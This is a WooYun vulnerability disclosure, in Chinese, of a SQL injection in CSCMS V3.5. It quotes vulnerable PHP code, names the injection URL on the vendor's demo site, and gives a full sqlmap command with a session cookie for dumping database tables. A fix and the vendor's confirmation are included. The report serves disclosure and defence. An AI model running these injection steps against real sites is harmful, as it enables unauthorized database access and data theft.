当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-047363

漏洞标题:CSCMS V3.5 最新版 SQL注射(官方站演示+源码详析)

相关厂商:chshcms.com

漏洞作者: lxj616

提交时间:2013-12-30 10:48

修复时间:2014-03-30 10:48

公开时间:2014-03-30 10:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-30: 细节已通知厂商并且等待厂商处理中
2013-12-31: 厂商已经确认,细节仅向厂商公开
2014-01-03: 细节向第三方安全合作伙伴开放
2014-02-24: 细节向核心白帽子及相关领域专家公开
2014-03-06: 细节向普通白帽子公开
2014-03-16: 细节向实习白帽子公开
2014-03-30: 细节向公众公开

简要描述:

CSCMS V3.5 最新版 存在着注射漏洞,已经在官方演示站证实 http://demo.chshcms.com/ 代码分析在 详细说明 中,实站演示在 漏洞证明中

详细说明:

/app/controllers/user/music.php line 16

public function index()    //用户会员中心-音乐-我分享的-中文舞曲
{
$data='';
//下面几句使用了xss_clean,并不会过滤SQL注射字符,尤其是单引号
$yid = $this->security->xss_clean($this->input->get('yid', TRUE)); //yid,1为分享,2为待审核,3为回收站
$cid = $this->security->xss_clean($this->input->get('cid', TRUE)); //cid
$page = $this->security->xss_clean($this->input->get('page', TRUE)); //page
…………………………………略去若干行………………………………
if(!empty($page_arr) && !empty($page_arr[2])){
//下面语句没有问题
$sqlstr="select * from ".CS_SqlPrefix."dance where CS_User='".$this->session->userdata('cs_name')."'"; //这句还没有问题
if($yid==3){ //直接比较,很安全
$sqlstr.=" and cs_hid=1";//安全
}else{
$sqlstr.=" and cs_hid=0";//安全
}
if($yid==1 || $yid==2){ //安全
$yid=$yid-1; //安全
$sqlstr.=" and cs_yid='$yid'"; //安全
}
if($cid){ //cid直接XSS-clean拿来的
$sqlstr.=" and cs_cid='$cid'";
//用单引号包住是没有用的,因为你没有intval,用的是xss-clean,所以是一个字符型注射
}
……………………以下省略…………………………


因此,注射点 为http://demo.chshcms.com/index.php/user/music?cid=1
类型:string(因为被单引号包起来了)
注:需注册用户并登陆

http://demo.chshcms.com/index.php/user/music?cid=1'


4.PNG

漏洞证明:

下面以官方演示站进行测试(其实上面打个“ ' ”就已经证明问题了,为了证明其危害,还是要证明其可以获取全部数据库信息)
注册用户并登陆,使用SQLMAP+用户cookie

C:\Users\Administrator>sqlmap.py -u "http://demo.chshcms.com/index.php/user/music?cid=1" -p cid --dbms=mysql --cookie="cscms_cscms_session=Da%2BbjXSsVeKp%2FhhWorAah04ukW0CmpqdQWFEt%2FZYB%2BPTQq86NpxXi67qadig2AgchmmiQpS1AYsnWeW7J%2FKSfWqLXbkSoYARVkBhHcaRE%2FVhGwqf92O0%2F9W%2FoLWnx4G35qINDgqkyTe0g0LP5B6B48une0%2Bnk7Jde23X9wUTeUb%2Bws5kMlBies8kU1bITcGuHc%2BwGVbb3kYulG2wne3IboEVVd98PIasyT1rssVBpuaxttqKnbjJYIAnNiv3Zs4gCtI20iogyxhA2iiNZHID4KJLgjqrRPfLa%2F1tZgh6R8AWYMmKvfqtaLAcxlKbWplXt%2F4P03WDFnkc0rhN3067Yxsm35kgL4RMsOxjwsBMCtRK1cz7xe6r8oHzA4nMb%2FDVSqHlY5IIIS6WyzgFsRySjhWzwmg8Dj7%2F1D%2B2NjsHWglCy5CjsE%2B0JyKOvIZD1m1t8roTzo32o2rvnM69KKJI6Osn1d95HkuSuike5XxHyoIu%2FiGh3BniKm4mLnesq1yi" --tables


00001.PNG


00002.PNG


00003.PNG

修复方案:

xss_clean只能过滤html标签等字符,需要使用intval来强制转换成整数,因为单引号起不到保护作用

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-12-31 00:03

厂商回复:

已经修复,谢谢!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-02-02 08:13 | 马丁 ( 路人 | Rank:27 漏洞数:23 | 大爷~给口饭吧。)

    跪求大牛私密EXP

  2. 2014-03-10 21:26 | jk_影 ( 实习白帽子 | Rank:59 漏洞数:9 | 专注google三十年)

    字符型在默认PHP环境下不会被GPC转义吗?

  3. 2014-03-10 22:21 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    @jk_影 他官方没开GPC啊呵呵

  4. 2014-05-08 16:49 | bitcoin ( 普通白帽子 | Rank:715 漏洞数:218 | 学习是最好的投资!)

    大牛啊!